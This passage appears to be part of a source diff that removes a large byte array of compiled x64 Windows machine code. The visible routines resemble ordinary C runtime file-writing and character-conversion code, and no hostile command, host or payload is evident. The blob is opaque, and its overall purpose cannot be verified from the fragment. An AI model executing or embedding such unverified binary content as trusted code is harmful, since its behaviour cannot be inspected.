0xe8, 0x61, - 0xbb, 0xff, 0xff, 0x8b, 0xf0, 0x85, 0xc0, 0x0f, 0x84, 0xd2, 0x01, 0x00, - 0x00, 0x48, 0x8b, 0x4d, 0xb7, 0x4c, 0x8d, 0x4c, 0x24, 0x4c, 0x44, 0x8b, - 0xc0, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x48, 0x8d, 0x55, 0x0f, 0xff, 0x15, - 0x98, 0x34, 0x00, 0x00, 0x45, 0x33, 0xdb, 0x85, 0xc0, 0x0f, 0x84, 0xa3, - 0x01, 0x00, 0x00, 0x44, 0x8b, 0x7c, 0x24, 0x40, 0x8b, 0xdf, 0x2b, 0x5d, - 0xdf, 0x41, 0x03, 0xdf, 0x89, 0x5d, 0x9b, 0x39, 0x74, 0x24, 0x4c, 0x0f, - 0x82, 0xf1, 0x00, 0x00, 0x00, 0x80, 0x7c, 0x24, 0x44, 0x0a, 0x75, 0x49, - 0x48, 0x8b, 0x4d, 0xb7, 0x41, 0x8d, 0x43, 0x0d, 0x4c, 0x8d, 0x4c, 0x24, - 0x4c, 0x66, 0x89, 0x44, 0x24, 0x44, 0x45, 0x8d, 0x43, 0x01, 0x4c, 0x89, - 0x5c, 0x24, 0x20, 0x48, 0x8d, 0x54, 0x24, 0x44, 0xff, 0x15, 0x46, 0x34, - 0x00, 0x00, 0x45, 0x33, 0xdb, 0x85, 0xc0, 0x0f, 0x84, 0xf1, 0x00, 0x00, - 0x00, 0x83, 0x7c, 0x24, 0x4c, 0x01, 0x0f, 0x82, 0xae, 0x00, 0x00, 0x00, - 0x41, 0xff, 0xc7, 0xff, 0xc3, 0x44, 0x89, 0x7c, 0x24, 0x40, 0x89, 0x5d, - 0x9b, 0x48, 0x8b, 0xf7, 0x49, 0x3b, 0xfd, 0x0f, 0x83, 0xe0, 0x00, 0x00, - 0x00, 0x48, 0x8b, 0x45, 0xe7, 0x8b, 0x55, 0xab, 0xe9, 0x04, 0xfd, 0xff, - 0xff, 0x41, 0x8b, 0xd3, 0x4d, 0x85, 0xc0, 0x7e, 0x2d, 0x48, 0x2b, 0xfe, - 0x48, 0x8d, 0x1d, 0x71, 0x13, 0xff, 0xff, 0x8a, 0x04, 0x37, 0xff, 0xc2, - 0x4a, 0x8b, 0x8c, 0xe3, 0x50, 0xe4, 0x01, 0x00, 0x48, 0x03, 0xce, 0x48, - 0xff, 0xc6, 0x42, 0x88, 0x44, 0xf1, 0x3e, 0x48, 0x63, 0xc2, 0x49, 0x3b, - 0xc0, 0x7c, 0xe0, 0x8b, 0x5d, 0x9b, 0x41, 0x03, 0xd8, 0xeb, 0x4c, 0x45, - 0x8b, 0xcb, 0x48, 0x85, 0xd2, 0x7e, 0x42, 0x4c, 0x8b, 0x6d, 0xef, 0x4d, - 0x8b, 0xc3, 0x4d, 0x8b, 0xd5, 0x41, 0x83, 0xe5, 0x3f, 0x49, 0xc1, 0xfa, - 0x06, 0x4e, 0x8d, 0x1c, 0xed, 0x00, 0x00, 0x00, 0x00, 0x4d, 0x03, 0xdd, - 0x41, 0x8a, 0x04, 0x38, 0x41, 0xff, 0xc1, 0x4b, 0x8b, 0x8c, 0xd7, 0x50, - 0xe4, 0x01, 0x00, 0x49, 0x03, 0xc8, 0x49, 0xff, 0xc0, 0x42, 0x88, 0x44, - 0xd9, 0x3e, 0x49, 0x63, 0xc1, 0x48, 0x3b, 0xc2, 0x7c, 0xde, 0x45, 0x33, - 0xdb, 0x03, 0xda, 0x89, 0x5d, 0x9b, 0x44, 0x38, 0x5d, 0x8f, 0x8b, 0x4c, - 0x24, 0x40, 0xeb, 0x49, 0x8a, 0x07, 0x4c, 0x8d, 0x05, 0xe7, 0x12, 0xff, - 0xff, 0x4b, 0x8b, 0x8c, 0xe0, 0x50, 0xe4, 0x01, 0x00, 0xff, 0xc3, 0x89, - 0x5d, 0x9b, 0x42, 0x88, 0x44, 0xf1, 0x3e, 0x4b, 0x8b, 0x84, 0xe0, 0x50, - 0xe4, 0x01, 0x00, 0x42, 0x80, 0x4c, 0xf0, 0x3d, 0x04, 0x38, 0x55, 0x8f, - 0xeb, 0xcc, 0xff, 0x15, 0x0c, 0x34, 0x00, 0x00, 0x89, 0x45, 0x97, 0x8b, - 0x4c, 0x24, 0x40, 0x80, 0x7d, 0x8f, 0x00, 0xeb, 0x08, 0x8b, 0x4c, 0x24, - 0x40, 0x44, 0x38, 0x5d, 0x8f, 0x74, 0x0c, 0x48, 0x8b, 0x44, 0x24, 0x50, - 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x8b, 0x45, 0xf7, 0xf2, - 0x0f, 0x10, 0x45, 0x97, 0xf2, 0x0f, 0x11, 0x00, 0x89, 0x48, 0x08, 0x48, - 0x8b, 0x4d, 0x17, 0x48, 0x33, 0xcc, 0xe8, 0xfd, 0x2b, 0xff, 0xff, 0x48, - 0x8b, 0x9c, 0x24, 0x40, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x00, 0x01, - 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, - 0x5d, 0xc3, 0xff, 0x15, 0xac, 0x33, 0x00, 0x00, 0x89, 0x45, 0x97, 0x8b, - 0x4c, 0x24, 0x40, 0x38, 0x5d, 0x8f, 0xeb, 0xa9, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57, 0x41, 0x56, 0xb8, 0x50, - 0x14, 0x00, 0x00, 0xe8, 0xf8, 0x25, 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x48, - 0x8b, 0x05, 0x36, 0xe2, 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x84, - 0x24, 0x40, 0x14, 0x00, 0x00, 0x4c, 0x63, 0xd2, 0x48, 0x8b, 0xf9, 0x49, - 0x8b, 0xc2, 0x41, 0x8b, 0xe9, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0d, - 0x5c, 0xf6, 0x00, 0x00, 0x41, 0x83, 0xe2, 0x3f, 0x49, 0x03, 0xe8, 0x49, - 0x8b, 0xf0, 0x48, 0x8b, 0x04, 0xc1, 0x4b, 0x8d, 0x14, 0xd2, 0x4c, 0x8b, - 0x74, 0xd0, 0x28, 0x33, 0xc0, 0x48, 0x89, 0x07, 0x89, 0x47, 0x08, 0x4c, - 0x3b, 0xc5, 0x73, 0x6f, 0x48, 0x8d, 0x5c, 0x24, 0x40, 0x48, 0x3b, 0xf5, - 0x73, 0x24, 0x8a, 0x06, 0x48, 0xff, 0xc6, 0x3c, 0x0a, 0x75, 0x09, 0xff, - 0x47, 0x08, 0xc6, 0x03, 0x0d, 0x48, 0xff, 0xc3, 0x88, 0x03, 0x48, 0xff, - 0xc3, 0x48, 0x8d, 0x84, 0x24, 0x3f, 0x14, 0x00, 0x00, 0x48, 0x3b, 0xd8, - 0x72, 0xd7, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8d, 0x44, 0x24, - 0x40, 0x2b, 0xd8, 0x4c, 0x8d, 0x4c, 0x24, 0x30, 0x44, 0x8b, 0xc3, 0x48, - 0x8d, 0x54, 0x24, 0x40, 0x49, 0x8b, 0xce, 0xff, 0x15, 0x1f, 0x32, 0x00, - 0x00, 0x85, 0xc0, 0x74, 0x12, 0x8b, 0x44, 0x24, 0x30, 0x01, 0x47, 0x04, - 0x3b, 0xc3, 0x72, 0x0f, 0x48, 0x3b, 0xf5, 0x72, 0x9b, 0xeb, 0x08, 0xff, - 0x15, 0xcb, 0x32, 0x00, 0x00, 0x89, 0x07, 0x48, 0x8b, 0xc7, 0x48, 0x8b, - 0x8c, 0x24, 0x40, 0x14, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, 0xe6, 0x2a, - 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x50, 0x14, 0x00, 0x00, 0x49, 0x8b, - 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, - 0x5e, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, - 0x24, 0x18, 0x56, 0x57, 0x41, 0x56, 0xb8, 0x50, 0x14, 0x00, 0x00, 0xe8, - 0xf4, 0x24, 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x48, 0x8b, 0x05, 0x32, 0xe1, - 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x84, 0x24, 0x40, 0x14, 0x00, - 0x00, 0x4c, 0x63, 0xd2, 0x48, 0x8b, 0xf9, 0x49, 0x8b, 0xc2, 0x41, 0x8b, - 0xe9, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0d, 0x58, 0xf5, 0x00, 0x00, - 0x41, 0x83, 0xe2, 0x3f, 0x49, 0x03, 0xe8, 0x49, 0x8b, 0xf0, 0x48, 0x8b, - 0x04, 0xc1, 0x4b, 0x8d, 0x14, 0xd2, 0x4c, 0x8b, 0x74, 0xd0, 0x28, 0x33, - 0xc0, 0x48, 0x89, 0x07, 0x89, 0x47, 0x08, 0x4c, 0x3b, 0xc5, 0x0f, 0x83, - 0x82, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x5c, 0x24, 0x40, 0x48, 0x3b, 0xf5, - 0x73, 0x31, 0x0f, 0xb7, 0x06, 0x48, 0x83, 0xc6, 0x02, 0x66, 0x83, 0xf8, - 0x0a, 0x75, 0x10, 0x83, 0x47, 0x08, 0x02, 0xb9, 0x0d, 0x00, 0x00, 0x00, - 0x66, 0x89, 0x0b, 0x48, 0x83, 0xc3, 0x02, 0x66, 0x89, 0x03, 0x48, 0x83, - 0xc3, 0x02, 0x48, 0x8d, 0x84, 0x24, 0x3e, 0x14, 0x00, 0x00, 0x48, 0x3b, - 0xd8, 0x72, 0xca, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8d, 0x44, - 0x24, 0x40, 0x48, 0x2b, 0xd8, 0x4c, 0x8d, 0x4c, 0x24, 0x30, 0x48, 0xd1, - 0xfb, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x03, 0xdb, 0x49, 0x8b, 0xce, 0x44, - 0x8b, 0xc3, 0xff, 0x15, 0x04, 0x31, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x12, - 0x8b, 0x44, 0x24, 0x30, 0x01, 0x47, 0x04, 0x3b, 0xc3, 0x72, 0x0f, 0x48, - 0x3b, 0xf5, 0x72, 0x88, 0xeb, 0x08, 0xff, 0x15, 0xb0, 0x31, 0x00, 0x00, - 0x89, 0x07, 0x48, 0x8b, 0xc7, 0x48, 0x8b, 0x8c, 0x24, 0x40, 0x14, 0x00, - 0x00, 0x48, 0x33, 0xcc, 0xe8, 0xcb, 0x29, 0xff, 0xff, 0x4c, 0x8d, 0x9c, - 0x24, 0x50, 0x14, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, - 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57, - 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0xb8, 0x70, 0x14, 0x00, 0x00, 0xe8, - 0xd4, 0x23, 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x48, 0x8b, 0x05, 0x12, 0xe0, - 0x00, 0x00, 0x48, 0x33, 0xc4, 0x48, 0x89, 0x84, 0x24, 0x60, 0x14, 0x00, - 0x00, 0x4c, 0x63, 0xd2, 0x48, 0x8b, 0xd9, 0x49, 0x8b, 0xc2, 0x45, 0x8b, - 0xf1, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, 0x0d, 0x38, 0xf4, 0x00, 0x00, - 0x41, 0x83, 0xe2, 0x3f, 0x4d, 0x03, 0xf0, 0x4d, 0x8b, 0xf8, 0x49, 0x8b, - 0xf8, 0x48, 0x8b, 0x04, 0xc1, 0x4b, 0x8d, 0x14, 0xd2, 0x4c, 0x8b, 0x64, - 0xd0, 0x28, 0x33, 0xc0, 0x48, 0x89, 0x03, 0x4d, 0x3b, 0xc6, 0x89, 0x43, - 0x08, 0x0f, 0x83, 0xce, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x44, 0x24, 0x50, - 0x49, 0x3b, 0xfe, 0x73, 0x2d, 0x0f, 0xb7, 0x0f, 0x48, 0x83, 0xc7, 0x02, - 0x66, 0x83, 0xf9, 0x0a, 0x75, 0x0c, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x66, - 0x89, 0x10, 0x48, 0x83, 0xc0, 0x02, 0x66, 0x89, 0x08, 0x48, 0x83, 0xc0, - 0x02, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x06, 0x00, 0x00, 0x48, 0x3b, 0xc1, - 0x72, 0xce, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8d, 0x4c, 0x24, - 0x50, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x50, - 0x48, 0x2b, 0xc1, 0xc7, 0x44, 0x24, 0x28, 0x55, 0x0d, 0x00, 0x00, 0x48, - 0x8d, 0x8c, 0x24, 0x00, 0x07, 0x00, 0x00, 0x48, 0xd1, 0xf8, 0x48, 0x89, - 0x4c, 0x24, 0x20, 0x44, 0x8b, 0xc8, 0xb9, 0xe9, 0xfd, 0x00, 0x00, 0x33, - 0xd2, 0xe8, 0x72, 0xb6, 0xff, 0xff, 0x8b, 0xe8, 0x85, 0xc0, 0x74, 0x49, - 0x33, 0xf6, 0x85, 0xc0, 0x74, 0x33, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, - 0x48, 0x8d, 0x94, 0x24, 0x00, 0x07, 0x00, 0x00, 0x8b, 0xce, 0x4c, 0x8d, - 0x4c, 0x24, 0x40, 0x44, 0x8b, 0xc5, 0x48, 0x03, 0xd1, 0x49, 0x8b, 0xcc, - 0x44, 0x2b, 0xc6, 0xff, 0x15, 0x9b, 0x2f, 0x00, 0x00, 0x85, 0xc0, 0x74, - 0x18, 0x03, 0x74, 0x24, 0x40, 0x3b, 0xf5, 0x72, 0xcd, 0x8b, 0xc7, 0x41, - 0x2b, 0xc7, 0x89, 0x43, 0x04, 0x49, 0x3b, 0xfe, 0xe9, 0x34, 0xff, 0xff, - 0xff, 0xff, 0x15, 0x41, 0x30, 0x00, 0x00, 0x89, 0x03, 0x48, 0x8b, 0xc3, - 0x48, 0x8b, 0x8c, 0x24, 0x60, 0x14, 0x00, 0x00, 0x48, 0x33, 0xcc, 0xe8, - 0x5c, 0x28, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x70, 0x14, 0x00, 0x00, - 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x6b, 0x40, 0x49, 0x8b, 0xe3, 0x41, - 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0x5e, 0xc3, 0x48, 0x89, 0x5c, 0x24, - 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x89, 0x4c, 0x24, 0x08, 0x57, 0x41, - 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x45, - 0x8b, 0xf0, 0x4c, 0x8b, 0xfa, 0x48, 0x63, 0xd9, 0x83, 0xfb, 0xfe, 0x75, - 0x18, 0xe8, 0x1e, 0x7c, 0xff, 0xff, 0x83, 0x20, 0x00, 0xe8, 0x36, 0x7c, - 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xe9, 0x8f, 0x00, 0x00, - 0x00, 0x85, 0xc9, 0x78, 0x73, 0x3b, 0x1d, 0xc5, 0xf6, 0x00, 0x00, 0x73, - 0x6b, 0x48, 0x8b, 0xc3, 0x48, 0x8b, 0xf3, 0x48, 0xc1, 0xfe, 0x06, 0x4c, - 0x8d, 0x2d, 0xb2, 0xf2, 0x00, 0x00, 0x83, 0xe0, 0x3f, 0x4c, 0x8d, 0x24, - 0xc0, 0x49, 0x8b, 0x44, 0xf5, 0x00, 0x42, 0xf6, 0x44, 0xe0, 0x38, 0x01, - 0x74, 0x46, 0x8b, 0xcb, 0xe8, 0xaf, 0xe5, 0xff, 0xff, 0x83, 0xcf, 0xff, - 0x49, 0x8b, 0x44, 0xf5, 0x00, 0x42, 0xf6, 0x44, 0xe0, 0x38, 0x01, 0x75, - 0x15, 0xe8, 0xde, 0x7b, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, - 0xe8, 0xb3, 0x7b, 0xff, 0xff, 0x83, 0x20, 0x00, 0xeb, 0x0f, 0x45, 0x8b, - 0xc6, 0x49, 0x8b, 0xd7, 0x8b, 0xcb, 0xe8, 0x41, 0x00, 0x00, 0x00, 0x8b, - 0xf8, 0x8b, 0xcb, 0xe8, 0x9c, 0xe5, 0xff, 0xff, 0x8b, 0xc7, 0xeb, 0x1b, - 0xe8, 0x8f, 0x7b, 0xff, 0xff, 0x83, 0x20, 0x00, 0xe8, 0xa7, 0x7b, 0xff, - 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xe8, 0x7c, 0x7a, 0xff, 0xff, - 0x83, 0xc8, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x58, 0x48, 0x8b, 0x74, 0x24, - 0x60, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, - 0x5c, 0x5f, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x55, 0x56, 0x57, - 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8b, 0xec, 0x48, - 0x83, 0xec, 0x60, 0x33, 0xdb, 0x45, 0x8b, 0xf0, 0x4c, 0x63, 0xe1, 0x48, - 0x8b, 0xfa, 0x45, 0x85, 0xc0, 0x0f, 0x84, 0x9e, 0x02, 0x00, 0x00, 0x48, - 0x85, 0xd2, 0x75, 0x1f, 0xe8, 0x2b, 0x7b, 0xff, 0xff, 0x89, 0x18, 0xe8, - 0x44, 0x7b, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, 0xe8, 0x19, - 0x7a, 0xff, 0xff, 0x83, 0xc8, 0xff, 0xe9, 0x7c, 0x02, 0x00, 0x00, 0x49, - 0x8b, 0xc4, 0x48, 0x8d, 0x0d, 0xcb, 0xf1, 0x00, 0x00, 0x83, 0xe0, 0x3f, - 0x4d, 0x8b, 0xec, 0x49, 0xc1, 0xfd, 0x06, 0x4c, 0x8d, 0x3c, 0xc0, 0x4a, - 0x8b, 0x0c, 0xe9, 0x42, 0x0f, 0xbe, 0x74, 0xf9, 0x39, 0x8d, 0x46, 0xff, - 0x3c, 0x01, 0x77, 0x09, 0x41, 0x8b, 0xc6, 0xf7, 0xd0, 0xa8, 0x01, 0x74, - 0xaf, 0x42, 0xf6, 0x44, 0xf9, 0x38, 0x20, 0x74, 0x0e, 0x33, 0xd2, 0x41, - 0x8b, 0xcc, 0x44, 0x8d, 0x42, 0x02, 0xe8, 0x75, 0x0f, 0x00, 0x00, 0x41, - 0x8b, 0xcc, 0x48, 0x89, 0x5d, 0xe0, 0xe8, 0x31, 0xde, 0xff, 0xff, 0x85, - 0xc0, 0x0f, 0x84, 0x0b, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x72, 0xf1, - 0x00, 0x00, 0x4a, 0x8b, 0x04, 0xe8, 0x42, 0x38, 0x5c, 0xf8, 0x38, 0x0f, - 0x8d, 0xf5, 0x00, 0x00, 0x00, 0xe8, 0xde, 0x74, 0xff, 0xff, 0x48, 0x8b, - 0x88, 0x90, 0x00, 0x00, 0x00, 0x48, 0x39, 0x99, 0x38, 0x01, 0x00, 0x00, - 0x75, 0x16, 0x48, 0x8d, 0x05, 0x47, 0xf1, 0x00, 0x00, 0x4a, 0x8b, 0x04, - 0xe8, 0x42, 0x38, 0x5c, 0xf8, 0x39, 0x0f, 0x84, 0xca, 0x00, 0x00, 0x00, - 0x48, 0x8d, 0x05, 0x31, 0xf1, 0x00, 0x00, 0x4a, 0x8b, 0x0c, 0xe8, 0x48, - 0x8d, 0x55, 0xf0, 0x4a, 0x8b, 0x4c, 0xf9, 0x28, 0xff, 0x15, 0x46, 0x2d, - 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xa8, 0x00, 0x00, 0x00, 0x40, 0x84, - 0xf6, 0x0f, 0x84, 0x81, 0x00, 0x00, 0x00, 0x40, 0xfe, 0xce, 0x40, 0x80, - 0xfe, 0x01, 0x0f, 0x87, 0x2e, 0x01, 0x00, 0x00, 0x4e, 0x8d, 0x24, 0x37, - 0x48, 0x89, 0x5d, 0xd0, 0x4c, 0x8b, 0xf7, 0x49, 0x3b, 0xfc, 0x0f, 0x83, - 0x10, 0x01, 0x00, 0x00, 0x8b, 0x75, 0xd4, 0x41, 0x0f, 0xb7, 0x06, 0x0f, - 0xb7, 0xc8, 0x66, 0x89, 0x45, 0xf0, 0xe8, 0x1d, 0x10, 0x00, 0x00, 0x0f, - 0xb7, 0x4d, 0xf0, 0x66, 0x3b, 0xc1, 0x75, 0x36, 0x83, 0xc6, 0x02, 0x89, - 0x75, 0xd4, 0x66, 0x83, 0xf9, 0x0a, 0x75, 0x1b, 0xb9, 0x0d, 0x00, 0x00, - 0x00, 0xe8, 0xfe, 0x0f, 0x00, 0x00, 0xb9, 0x0d, 0x00, 0x00, 0x00, 0x66, - 0x3b, 0xc1, 0x75, 0x16, 0xff, 0xc6, 0x89, 0x75, 0xd4, 0xff, 0xc3, 0x49, - 0x83, 0xc6, 0x02, 0x4d, 0x3b, 0xf4, 0x0f, 0x83, 0xc0, 0x00, 0x00, 0x00, - 0xeb, 0xb1, 0xff, 0x15, 0x94, 0x2d, 0x00, 0x00, 0x89, 0x45, 0xd0, 0xe9, - 0xb0, 0x00, 0x00, 0x00, 0x45, 0x8b, 0xce, 0x48, 0x8d, 0x4d, 0xd0, 0x4c, - 0x8b, 0xc7, 0x41, 0x8b, 0xd4, 0xe8, 0xee, 0xf4, 0xff, 0xff, 0xf2, 0x0f, - 0x10, 0x00, 0x8b, 0x58, 0x08, 0xe9, 0x97, 0x00, 0x00, 0x00, 0x48, 0x8d, - 0x05, 0x67, 0xf0, 0x00, 0x00, 0x4a, 0x8b, 0x0c, 0xe8, 0x42, 0x38, 0x5c, - 0xf9, 0x38, 0x7d, 0x4d, 0x8b, 0xce, 0x40, 0x84, 0xf6, 0x74, 0x32, 0x83, - 0xe9, 0x01, 0x74, 0x19, 0x83, 0xf9, 0x01, 0x75, 0x79, 0x45, 0x8b, 0xce, - 0x48, 0x8d, 0x4d, 0xd0, 0x4c, 0x8b, 0xc7, 0x41, 0x8b, 0xd4, 0xe8, 0x9d, - 0xfa, 0xff, 0xff, 0xeb, 0xbd, 0x45, 0x8b, 0xce, 0x48, 0x8d, 0x4d, 0xd0, - 0x4c, 0x8b, 0xc7, 0x41, 0x8b, 0xd4, 0xe8, 0xa5, 0xfb, 0xff, 0xff, 0xeb, - 0xa9, 0x45, 0x8b, 0xce, 0x48, 0x8d, 0x4d, 0xd0, 0x4c, 0x8b, 0xc7, 0x41, - 0x8b, 0xd4, 0xe8, 0x71, 0xf9, 0xff, 0xff, 0xeb, 0x95, 0x4a, 0x8b, 0x4c, - 0xf9, 0x28, 0x4c, 0x8d, 0x4d, 0xd4, 0x33, 0xc0, 0x45, 0x8b, 0xc6, 0x48, - 0x21, 0x44, 0x24, 0x20, 0x48, 0x8b, 0xd7, 0x48, 0x89, 0x45, 0xd0, 0x89, - 0x45, 0xd8, 0xff, 0x15, 0x24, 0x2c, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x09, - 0xff, 0x15, 0xe2, 0x2c, 0x00, 0x00, 0x89, 0x45, 0xd0, 0x8b, 0x5d, 0xd8, - 0xf2, 0x0f, 0x10, 0x45, 0xd0, 0xf2, 0x0f, 0x11, 0x45, 0xe0, 0x48, 0x8b, - 0x45, 0xe0, 0x48, 0xc1, 0xe8, 0x20, 0x85, 0xc0, 0x75, 0x64, 0x8b, 0x45, - 0xe0, 0x85, 0xc0, 0x74, 0x2d, 0x83, 0xf8, 0x05, 0x75, 0x1b, 0xe8, 0x11, - 0x79, 0xff, 0xff, 0xc7, 0x00, 0x09, 0x00, 0x00, 0x00, 0xe8, 0xe6, 0x78, - 0xff, 0xff, 0xc7, 0x00, 0x05, 0x00, 0x00, 0x00, 0xe9, 0xc2, 0xfd, 0xff, - 0xff, 0x8b, 0x4d, 0xe0, 0xe8, 0x83, 0x78, 0xff, 0xff, 0xe9, 0xb5, 0xfd, - 0xff, 0xff, 0x48, 0x8d, 0x05, 0x8b, 0xef, 0x00, 0x00, 0x4a, 0x8b, 0x04, - 0xe8, 0x42, 0xf6, 0x44, 0xf8, 0x38, 0x40, 0x74, 0x05, 0x80, 0x3f, 0x1a, - 0x74, 0x1f, 0xe8, 0xd1, 0x78, 0xff, 0xff, 0xc7, 0x00, 0x1c, 0x00, 0x00, - 0x00, 0xe8, 0xa6, 0x78, 0xff, 0xff, 0x83, 0x20, 0x00, 0xe9, 0x85, 0xfd, - 0xff, 0xff, 0x8b, 0x45, 0xe4, 0x2b, 0xc3, 0xeb, 0x02, 0x33, 0xc0, 0x48, - 0x8b, 0x9c, 0x24, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x60, 0x41, - 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x10, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, - 0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0x05, 0xe1, 0xda, 0x00, 0x00, 0x48, - 0x33, 0xc4, 0x48, 0x89, 0x44, 0x24, 0x30, 0x45, 0x33, 0xd2, 0x4c, 0x8d, - 0x1d, 0xa7, 0xf7, 0x00, 0x00, 0x4d, 0x85, 0xc9, 0x48, 0x8d, 0x3d, 0x5f, - 0x36, 0x00, 0x00, 0x48, 0x8b, 0xc2, 0x4c, 0x8b, 0xfa, 0x4d, 0x0f, 0x45, - 0xd9, 0x48, 0x85, 0xd2, 0x41, 0x8d, 0x6a, 0x01, 0x48, 0x0f, 0x45, 0xfa, - 0x44, 0x8b, 0xf5, 0x4d, 0x0f, 0x45, 0xf0, 0x48, 0xf7, 0xd8, 0x48, 0x1b, - 0xf6, 0x48, 0x23, 0xf1, 0x4d, 0x85, 0xf6, 0x75, 0x0c, 0x48, 0xc7, 0xc0, - 0xfe, 0xff, 0xff, 0xff, 0xe9, 0x4e, 0x01, 0x00, 0x00, 0x66, 0x45, 0x39, - 0x53, 0x06, 0x75, 0x68, 0x44, 0x0f, 0xb6, 0x0f, 0x48, 0xff, 0xc7, 0x45, - 0x84, 0xc9, 0x78, 0x17, 0x48, 0x85, 0xf6, 0x74, 0x03, 0x44, 0x89, 0x0e, - 0x45, 0x84, 0xc9, 0x41, 0x0f, 0x95, 0xc2, 0x49, 0x8b, 0xc2, 0xe9, 0x24, - 0x01, 0x00, 0x00, 0x41, 0x8a, 0xc1, 0x24, 0xe0, 0x3c, 0xc0, 0x75, 0x05, - 0x41, 0xb0, 0x02, 0xeb, 0x1e, 0x41, 0x8a, 0xc1, 0x24, 0xf0, 0x3c, 0xe0, - 0x75, 0x05, 0x41, 0xb0, 0x03, 0xeb, 0x10, 0x41, 0x8a, 0xc1, 0x24, 0xf8, - 0x3c, 0xf0, 0x0f, 0x85, 0xe9, 0x00, 0x00, 0x00, 0x41, 0xb0, 0x04, 0x41, - 0x0f, 0xb6, 0xc0, 0xb9, 0x07, 0x00, 0x00, 0x00, 0x2b, 0xc8, 0x8b, 0xd5, - 0xd3, 0xe2, 0x41, 0x8a, 0xd8, 0x2b, 0xd5, 0x41, 0x23, 0xd1, 0xeb, 0x29, - 0x45, 0x8a, 0x43, 0x04, 0x41, 0x8b, 0x13, 0x41, 0x8a, 0x5b, 0x06, 0x41, - 0x8d, 0x40, 0xfe, 0x3c, 0x02, 0x0f, 0x87, 0xb6, 0x00, 0x00, 0x00, 0x40, - 0x3a, 0xdd, 0x0f, 0x82, 0xad, 0x00, 0x00, 0x00, 0x41, 0x3a, 0xd8, 0x0f, - 0x83, 0xa4, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0xeb, 0x49, 0x3b, 0xee, 0x44, - 0x8b, 0xcd, 0x4d, 0x0f, 0x43, 0xce, 0xeb, 0x1e, 0x0f, 0xb6, 0x0f, 0x48, - 0xff, 0xc7, 0x8a, 0xc1, 0x24, 0xc0, 0x3c, 0x80, 0x0f, 0x85, 0x83, 0x00, - 0x00, 0x00, 0x8b, 0xc2, 0x83, 0xe1, 0x3f, 0xc1, 0xe0, 0x06, 0x8b, 0xd1, - 0x0b, 0xd0, 0x48, 0x8b, 0xc7, 0x49, 0x2b, 0xc7, 0x49, 0x3b, 0xc1, 0x72, - 0xd7, 0x4c, 0x3b, 0xcd, 0x73, 0x1c, 0x41, 0x0f, 0xb6, 0xc0, 0x41, 0x2a, - 0xd9, 0x66, 0x41, 0x89, 0x43, 0x04, 0x0f, 0xb6, 0xc3, 0x66, 0x41, 0x89, - 0x43, 0x06, 0x41, 0x89, 0x13, 0xe9, 0x03, 0xff, 0xff, 